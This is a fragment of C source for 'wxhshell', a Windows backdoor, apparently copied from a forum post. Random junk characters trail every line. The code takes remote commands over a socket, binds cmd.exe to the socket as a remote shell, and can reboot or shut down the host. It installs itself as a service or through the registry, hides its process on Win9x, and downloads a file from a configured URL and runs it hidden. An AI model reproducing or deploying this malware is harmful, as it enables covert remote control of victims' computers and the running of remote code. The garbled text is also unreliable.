  // 帮助 EqGpo_  
  case '?': { Sfa=AV7K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1*|/N}g)  
    break; +,]VXH<y  
  } <s7cCpUFP  
  // 安装 [9B1%W  
  case 'i': { 0OQ*V~>f  
    if(Install()) `/?'^A%Ik  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =6+99<G|%M  
    else +xgP&nw[-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Fxr=  
    break; E NCWOj  
    } AW E ab  
  // 卸载 awI{%u_(nA  
  case 'r': { CUHT5J*sY  
    if(Uninstall()) bdY:-8!3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nt+OaXe5D  
    else ~A1!!rJX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aj,o<J  
    break; 1;DRcVyS+  
    } V#b=mp  
  // 显示 wxhshell 所在路径 B^]PKjLNZ  
  case 'p': { ;TS%e[lFhQ  
    char svExeFile[MAX_PATH]; #vhN$H:&q  
    strcpy(svExeFile,"\n\r"); N|Ag8/2A  
      strcat(svExeFile,ExeFile); Nd+1r|e'  
        send(wsh,svExeFile,strlen(svExeFile),0); GKjtX?~1  
    break; /%s:aO  
    } r/HCWs|  
  // 重启 x(xi%?G  
  case 'b': { `R>z{-@=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KQvSeH>r  
    if(Boot(REBOOT)) ~**x_ v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Zj`_5C  
    else { C\aHr!  
    closesocket(wsh); vf$IF|  
    ExitThread(0); ji ./m8(  
    } G~v:@  
    break; ~;a \S3  
    } HsUh5;  
  // 关机 #r]Z2Y]  
  case 'd': { .)_2AoT7[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~#jiX6<I  
    if(Boot(SHUTDOWN)) 7Xu#|k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zA8@'`Id  
    else { wpN3-D  
    closesocket(wsh); d6 ef)mw  
    ExitThread(0); vV*J;%MO  
    } fU?#^Lg  
    break; lgS7;  
    } 1YJ?Y  
  // 获取shell biU_ImJ>0  
  case 's': { |Tc4a4jS  
    CmdShell(wsh); gBi3^GxjM?  
    closesocket(wsh); > *VvV/UU  
    ExitThread(0); oI[rxr  
    break; xVbRCu#Z  
  } j6Sg~nRh  
  // 退出 R y#C#0  
  case 'x': { jx}'M$TA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kx&" 9g$  
    CloseIt(wsh); 4xr^4\ lk  
    break; JO0o@M5H  
    } E:ci/09wD  
  // 离开 Ul9^"o  
  case 'q': { K%+4M#jj5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q}OloA(+  
    closesocket(wsh); op5 `#{  
    WSACleanup(); >e R^G5rn;  
    exit(1); W. kcN,  
    break; \U]K!K=  
        } 1(dKb  
  } aEvbGo  
  } )LIn1o_,  
& ]] l0B  
  // 提示信息 )J> dGIb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1=C12  
} 2/fol TR7  
  } U|xHy+N  
h !K" ;qw  
  return; n#b{  
} 5;HGS{`  
v-d"dC`  
// shell模块句柄 SFd_k9  
int CmdShell(SOCKET sock) ){w{#  
{ gqy>;A:kO  
STARTUPINFO si; -5+Yz9pv[  
ZeroMemory(&si,sizeof(si)); 1' U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *2->>"kh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?L7DVwVa,I  
PROCESS_INFORMATION ProcessInfo; 2=n`z) R  
char cmdline[]="cmd"; 3PZ(Kn<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1h?ve,$  
  return 0; 1x;@BV  
} CYgokS\=,  
ZxSFElDD]E  
// 自身启动模式 <tF q^qB  
int StartFromService(void) (,#m+  
{ a;Y:UwD9*  
typedef struct )Bn }|6`  
{ k}H7bZug  
  DWORD ExitStatus; aH?Ygzw  
  DWORD PebBaseAddress; {qi #  
  DWORD AffinityMask; _7Y-gy#\a  
  DWORD BasePriority; =3QhGFd  
  ULONG UniqueProcessId; (b//YyqN  
  ULONG InheritedFromUniqueProcessId; >pLJ ,Z  
}   PROCESS_BASIC_INFORMATION; FEu"b@v  
SfC* ZM}<  
PROCNTQSIP NtQueryInformationProcess; ||QK)$"  
O}Pqbx&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UWC4PWL,>C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M.t,o\xl  
;Y;r%DJ  
  HANDLE             hProcess; I <D7 Jj  
  PROCESS_BASIC_INFORMATION pbi; vLHn4>J,R  
uK$ Xqo%L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tm.60udbo  
  if(NULL == hInst ) return 0; {{Ox%Zm  
mu{C>w_Rz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (~N?kh:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {c9 f v H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #J&3Zds  
5tpC$4m  
  if (!NtQueryInformationProcess) return 0; 2I_ yUt-  
By8SRWs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;!S5P(  
  if(!hProcess) return 0; U'ctO%  
2K};-}eW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8Lx/ZGy  
VfpT5W<  
  CloseHandle(hProcess); ydYsmTr  
UzaAL9k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gR# k'   
if(hProcess==NULL) return 0; M9R'ONYAa  
Eqz|eS*6  
HMODULE hMod; (JlPe)Q5  
char procName[255]; ]VKQm(,0  
unsigned long cbNeeded; Ut\:jV=f  
A/I\MN|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^.8~}TT-U  
[?I<$f"  
  CloseHandle(hProcess); "[?DS  
AJEbiP  
if(strstr(procName,"services")) return 1; // 以服务启动 igA?E56?  
NT 5=%X]  
  return 0; // 注册表启动 I*.nwV<  
} :Q("  
Ue 9Y+'-x  
// 主模块 _-y1>{]H  
int StartWxhshell(LPSTR lpCmdLine) TYGI f4z  
{ 56<UxIa~  
  SOCKET wsl; B;(U ?gC  
BOOL val=TRUE; 1Y$%| `  
  int port=0; uPl}NEwU|  
  struct sockaddr_in door; f^1J_}cL  
&Ril[siw  
  if(wscfg.ws_autoins) Install(); bl a`B=r  
7>gjq'0  
port=atoi(lpCmdLine); mW'3yM  
6H'A]0  
if(port<=0) port=wscfg.ws_port; r+C4<-dT  
z8t;jw  
  WSADATA data; %Hd[,duwO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ez|NQ:o  
3JQ7Cc>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xtP:Q9!N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E Ou[X'gLr  
  door.sin_family = AF_INET; ) dk|S\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9!X3Cv|+L  
  door.sin_port = htons(port); uOzoE_i  
G8+&fn6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !xck ~EAS  
closesocket(wsl); Z[*unIk  
return 1; lH=|Qu  
} p2 1|  
zTB&Wlt  
  if(listen(wsl,2) == INVALID_SOCKET) { u>9` ?O44  
closesocket(wsl); Vu.=,G  
return 1; vq(#Ih2  
} )S+fc=  
  Wxhshell(wsl); vx($o9  
  WSACleanup(); XjL3Ar*  
yYJ_;Va  
return 0; J1I,;WGf  
_"@:+f,  
} Up?RN%gq  
<!>\ n\A  
// 以NT服务方式启动 H5Eso*v@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P#V!hfM  
{ G1jj:]1  
DWORD   status = 0; e&ysj:W5 "  
  DWORD   specificError = 0xfffffff; *`"+J_   
o+=wQ$"tP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2mzn{S)nV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P05`DX}r,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -V{"Lzrfug  
  serviceStatus.dwWin32ExitCode     = 0; xkRMg2X.>9  
  serviceStatus.dwServiceSpecificExitCode = 0; kqih`E9P7B  
  serviceStatus.dwCheckPoint       = 0; Skci;4T(  
  serviceStatus.dwWaitHint       = 0; 1}la)lC  
1Mp-)-e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qA)YYg/G  
  if (hServiceStatusHandle==0) return; s$pXn&:  
8&8!(\xv  
status = GetLastError(); <9X@\uvU.<  
  if (status!=NO_ERROR) yR|2><A  
{ uFSU|SDd.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5GScqY,aB  
    serviceStatus.dwCheckPoint       = 0; \78^ O  
    serviceStatus.dwWaitHint       = 0; n?cC]k;P~  
    serviceStatus.dwWin32ExitCode     = status; $Okmurnn  
    serviceStatus.dwServiceSpecificExitCode = specificError; .5a>!B.I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *KDTBd  
    return; LXX('d  
  } HJ]v-  
$]_SPu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rwXpB<@l@  
  serviceStatus.dwCheckPoint       = 0; 03 gbcNo  
  serviceStatus.dwWaitHint       = 0; 50 Gr\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '(B -{}l  
} ~wuCa!!A  
yC1OeO8{  
// 处理NT服务事件,比如:启动、停止 RD[P|4eY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J.h` 0$!  
{ /gF)msUF  
switch(fdwControl) ^OQP;5 #K  
{ 2LUsqL\m}.  
case SERVICE_CONTROL_STOP: N2s"$Ttq  
  serviceStatus.dwWin32ExitCode = 0; }UsH#!9.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GalSqtbmDt  
  serviceStatus.dwCheckPoint   = 0; {Ia1H  
  serviceStatus.dwWaitHint     = 0; Ty&1R?  
  { YSGE@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hQx*#:ns  
  } +'g O%^{l  
  return; BkB _?^Nv8  
case SERVICE_CONTROL_PAUSE: M}[Q2v\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _f@,) n  
  break; sc+%v1Y#}  
case SERVICE_CONTROL_CONTINUE: 36OQHv;&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \0 h>!u  
  break; 9Zl4NV&B  
case SERVICE_CONTROL_INTERROGATE: ;6PU  
  break; VI4mEq,V  
}; 95#]6*#[4!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u=InE|SH  
} ;&J>a8B$  
>xo<i8<Miv  
// 标准应用程序主函数 1 jB0gNe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dj (&"P  
{ -(TC'  
*Lrrl  
// 获取操作系统版本 4dFr~ {  
OsIsNt=GetOsVer(); 79>x/jZka  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?aTH<  
nD/B :0'  
  // 从命令行安装 5PeYQ-B|  
  if(strpbrk(lpCmdLine,"iI")) Install(); WMC^G2 n  
3_  J'+  
  // 下载执行文件 p35)K5V  
if(wscfg.ws_downexe) { _@>*]g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j}.gK6Yq*  
  WinExec(wscfg.ws_filenam,SW_HIDE); Uzvd*>mv  
} el5Pe{j '  
^V;r  
if(!OsIsNt) { %!Eh9C*  
// 如果时win9x,隐藏进程并且设置为注册表启动 5lHt~hB\  
HideProc(); a({Rb?b  
StartWxhshell(lpCmdLine); wwdmz;0S  
} kIS )*_  
else _ -RqkRI  
  if(StartFromService()) gWU#NRRc  
  // 以服务方式启动 [VXQ&  
  StartServiceCtrlDispatcher(DispatchTable); "vybVWEE  
else &M@ .d$<C  
  // 普通方式启动 |GQq:MB;z  
  StartWxhshell(lpCmdLine); W gyRK2#!  
BTr oe=R  
return 0; bTeuOpp  
}
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只看该作者 1 发表于: 2006-10-10
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